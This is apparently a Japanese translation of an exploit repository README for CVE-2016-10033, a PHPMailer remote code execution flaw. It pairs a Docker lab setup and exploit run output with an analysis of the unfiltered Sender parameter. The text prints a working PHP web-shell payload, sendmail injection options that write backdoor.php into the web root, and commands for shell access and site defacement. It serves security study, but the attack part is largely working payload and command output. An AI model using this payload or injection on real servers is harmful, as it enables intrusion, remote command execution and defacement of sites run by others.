
PHPMailer < 5.2.18 リモートコード実行
PHPMailerは世界で最も人気のあるトランスポートクラスであり、世界中で推定900万人のユーザーがいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクトで使用されています:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! など。
バージョン5.2.18より前のPHPMailerには、リモートコード実行(RCE)につながる脆弱性があります。PHPMailerのisMailトランスポートにおけるmailSend関数は、Senderプロパティが設定されていない場合、リモート攻撃者がmailコマンドに余分なパラメータを渡し、細工されたFromアドレスに含まれる"(バックスラッシュ二重引用符)を介して任意のコードを実行する可能性があります。
テスト用の脆弱な環境をセットアップするには、Docker がインストールされている必要があります。次のコマンドを実行するだけです:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
これにより、ホストの 8080 ポート上に脆弱なWebアプリケーションが起動します

このターゲットをエクスプロイトするには、次のコマンドを実行します:
./exploit host:port
この脆弱なイメージを使用している場合は、次のコマンドを実行できます:
./exploit localhost:8080
エクスプロイト後、webディレクトリのルートフォルダにbackdoor.phpという名前のファイルが保存されます。そして、エクスプロイトはシェルをドロップし、バックドアにコマンドを送信できるようになります:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
これでシェルが手に入りました。別のユースケースを示す別のエクスプロイトもあります。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
そして、ページをもう一度訪れると、次のようになります:

このコミット以前のclass.phpmailer.phpでは、特定のシナリオにおいて送信者のメールアドレスの特殊文字に対するフィルタがありません。この欠陥により、mail関数(こちら)を介してリモートコード実行が可能になります。
コードを分析すると、mailSend()関数にはフィルタがありません
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Senderは直接$params変数に追加されます。この変数はvalidateAddress()関数でフィルタリングされていますが、RFC 3696仕様を使用しているため、問題を引き起こす特定の文字を許可します。
この場合、引用符です:
バックスラッシュ文字を使用した引用に加えて、従来の 二重引用符文字を使用して文字列を囲むことができます。例えば
"Abc@def"@example.com
"Fred Bloggs"@example.com
は、上記の最初の2つの例の代替形式です。これらの引用形式はほとんど推奨されず、実際には一般的ではありませんが、 上で議論したように、メールアドレスを処理するアプリケーションでサポートされなければなりません。特に、引用形式は、 他のシステムやコンテキストからの移行に関連するアドレスのコンテキストで頻繁に現れます。それらの移行要件は依然として発生し、 ユーザー提供のメールアドレスを受け入れるシステムは、そのアドレスがレガシーシステムに関連しているかどうかを「知る」ことができないため、 アドレス形式は受け入れられ、メール環境に渡されなければなりません。
必要ならば、RFC全体をこちらで読むことができます。また、PHPバージョンが5.2.0未満で、PCREがインストールされていない場合、validateAddress()内の$patternselect変数はnoregexに設定されます。これにより、入力は正規表現チェックを回避できるようになります。以下の小さな検証のみを通過します:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
そして、コードの流れはmailPassthru()関数に進みます。safe_modeで実行されている場合、以下のコードが示すように、この脆弱性の影響を受けません
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
しかし、safe_modeで実行されていない場合、私たちの特別なパラメータがmail()に渡され、運が良ければ、私たちが選択した場所に書き込みたい任意の内容を含むファイルが作成されます。
PHP mail()関数のエクスプロイトは新しいものではありませんが、依然として有効であり、人々はまだそれを使用しています。どのように機能するかを説明するために、mail()関数がどのように定義されているか見てみましょう:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
異なる結果を得るためのいくつかのエクスプロイト方法がありますが、ここではリモートコード実行(RCE)を得るための第5パラメータのエクスプロイトに焦点を当てます。$additional_parametersパラメータは、メール送信用に設定されたプログラムにコマンドラインオプションとして追加のフラグを渡すために使用されます。この設定はsendmail_path変数によって定義されます。
PHP公式ドキュメントからのセキュリティ注意事項:
additional_parametersパラメータは、sendmail_path設定で定義されたメール送信用のプログラムに、追加のフラグをコマンドラインオプションとして渡すために使用できます。例えば、sendmailで-fオプションを使用する際にエンベロープ送信者アドレスを設定するために使用できます。
このパラメータは、コマンド実行を防ぐために内部的にescapeshellcmd()によってエスケープされます。escapeshellcmd()はコマンド実行を防ぎますが、追加のパラメータを追加することは許可します。セキュリティ上の理由から、シェルコマンドに不要なパラメータが追加されるのを避けるために、ユーザーがこのパラメータをサニタイズすることを推奨します。
注入可能な追加パラメータを考慮して、この脆弱性をエクスプロイトするために-Xを使用します。-Xパラメータの詳細:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
他にも存在を知っておくべき興味深いパラメータがあります:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
そして
-O option=value
Set option option to the specified value. This form uses long names.
そして-Oオプションでは、QueueDirectoryが最も興味深いオプションです。このオプションはメッセージをキューイングするディレクトリを選択します。
パラメータとオプションの完全なリストを読みたい場合は、man sendmailを実行するか、オンラインこちらで読んでください。
この情報と、少なくとも1つの他のパラメータを制御できる能力に基づいて、ホストをエクスプロイトできます。以下は成功したエクスプロイトの手順です:
$additional_parametersともう1つのmail()パラメータを制御するwebroot(他のシステムでは/var/www/html、この例では/www)以下であれば何でもよい。system()ペイロードを使用し、解析を容易にするためにbase64といくつかの特殊文字|を加えている。-Xオプションは、指定したディレクトリにログファイルを書き込みます。そのログファイルには、ログ情報の中にPHPペイロードが含まれます。脆弱なPHPコードの例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
上記のコードを実行すると、/www/backdoor.phpにログファイルが作成されます。これがこのエクスプロイトの本質です。
以下はこの例で使用されたペイロードです
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
この脆弱性を発見するための簡単なワンコマンドの方法が欲しいですか?この魔法のgrepコマンドを覚えておきましょう!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
このリポジトリに対して実行すると、次の結果が得られます
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
この脆弱性はDawid Golunskiによって発見されました。
このプログラムまたは以前のプログラムは教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、私(opsxcq)は、これらのプログラムが提供する情報や機能の直接的または間接的な使用によって生じた損害について一切の責任を負いません。著者またはインターネットプロバイダーは、これらのプログラムまたはその派生物の内容や誤用について一切の責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって生じた損害(データ損失、システムクラッシュ、システム侵害など)がopsxcqの責任ではないことを承諾したものとみなされます。